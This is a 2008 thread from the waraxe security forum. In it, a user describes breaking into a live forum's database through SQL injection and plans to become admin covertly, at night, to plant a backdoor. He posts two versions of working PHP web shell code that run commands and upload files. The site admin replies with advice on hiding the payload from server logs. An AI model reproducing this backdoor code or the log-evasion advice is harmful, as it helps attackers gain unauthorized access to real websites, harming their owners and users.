Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
March 28, 2024
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 732
Members: 0
Total: 732
PacketStorm News
·301 Moved Permanently

read more...
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> vBulletin Board -> Got access to db, but don't know what to do...
Post new topic  Reply to topic View previous topic :: View next topic 
Got access to db, but don't know what to do...
PostPosted: Sat Apr 19, 2008 6:36 pm Reply with quote
bleh
Regular user
Regular user
 
Joined: Apr 19, 2008
Posts: 19




Hey

I managed to get full access to the forum database through a mod sql injection. Now the problem is, it takes ages to crack the passwords since they're salted. I know I can change my user status to admin, but that would raise a big red flag, so I was wondering if anyone has experience with load_file.
View user's profile Send private message
PostPosted: Sat Apr 19, 2008 7:12 pm Reply with quote
pexli
Valuable expert
Valuable expert
 
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




Try to decrypt admin hash and log in into admin panel.Then just upload shell.
View user's profile Send private message
PostPosted: Sat Apr 19, 2008 7:17 pm Reply with quote
bleh
Regular user
Regular user
 
Joined: Apr 19, 2008
Posts: 19




i've got an amd 1500 with 512 ram... how long do you think it will take it? Laughing

I'll make myself admin then upload shell then make me a normal user again.
View user's profile Send private message
PostPosted: Sat Apr 19, 2008 7:45 pm Reply with quote
pexli
Valuable expert
Valuable expert
 
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




bleh wrote:
i've got an amd 1500 with 512 ram... how long do you think it will take it? Laughing

I'll make myself admin then upload shell then make me a normal user again.


10 seconds or 10 years.No body know.
View user's profile Send private message
PostPosted: Sat Apr 19, 2008 7:51 pm Reply with quote
bleh
Regular user
Regular user
 
Joined: Apr 19, 2008
Posts: 19




I have been running passwordpro for over 3 hours and nothing. I will just let it run. Meanwhile I'll do my hack in the middle of the night so there will be few people online Very Happy

I've tested this backdoor for the plugin on my local vb, and it works. What do you think of it?

Code:

$f = fopen("mod_cp.php", "w+");
fputs($f, "<? system($"."_GET['c']); ?>");
fclose($f);
chmod("mod_cp.php", 777);
View user's profile Send private message
Re: Got access to db, but don't know what to do...
PostPosted: Sat Apr 19, 2008 7:52 pm Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




bleh wrote:
Hey

I managed to get full access to the forum database through a mod sql injection. Now the problem is, it takes ages to crack the passwords since they're salted. I know I can change my user status to admin, but that would raise a big red flag, so I was wondering if anyone has experience with load_file.


You can use "LOAD_FILE()" only if you have FILE privileges. I'd say, that most of the real world servers will not give FILE privs to casual user. If website is hosted in shared environment (shared hosting, virtual server), then probably you can't do LOAD_FILE. If website is located on dedicated server (for example website of some organisation, school, etc), then you MAY have FILE privileges, IF admin was lazy enough to not have trouble with security Smile
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sat Apr 19, 2008 7:56 pm Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




bleh wrote:
I have been running passwordpro for over 3 hours and nothing. I will just let it run. Meanwhile I'll do my hack in the middle of the night so there will be few people online Very Happy

I've tested this backdoor for the plugin on my local vb, and it works. What do you think of it?

Code:

$f = fopen("mod_cp.php", "w+");
fputs($f, "<? system($"."_GET['c']); ?>");
fclose($f);
chmod("mod_cp.php", 777);


Use $_POST or $_COOKIE, because $_GET means, that webserver will log your payload ...
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sat Apr 19, 2008 8:59 pm Reply with quote
bleh
Regular user
Regular user
 
Joined: Apr 19, 2008
Posts: 19




waraxe wrote:

Use $_POST or $_COOKIE, because $_GET means, that webserver will log your payload ...

Oh crap, that's not good Very Happy
I've rewritten it. Thanks! Smile

Code:

$f = fopen("userprofile.php", "w+");
fputs($f, "<?
if (@$"."_FILES['f']['tmp_name'])
move_uploaded_file($"."_FILES['f']['tmp_name'], dirname(__FILE__).'\\\'.basename($"."_FILES['f']['name']));
if (@$"."_POST['c'])
system($"."_POST['c']);
?>
<form enctype='multipart/form-data' action='userprofile.php' method='post'>
<input name='c'><br>
<input name='f' type='file'><br>
<input type=submit value=Ok>
</form>");
fclose($f);
chmod("userprofile.php", 777);
View user's profile Send private message
Got access to db, but don't know what to do...
  www.waraxe.us Forum Index -> vBulletin Board
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

  
  
 Post new topic  Reply to topic  




Powered by phpBB © 2001-2008 phpBB Group






Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2020 Janek Vind "waraxe"
Page Generation: 0.196 Seconds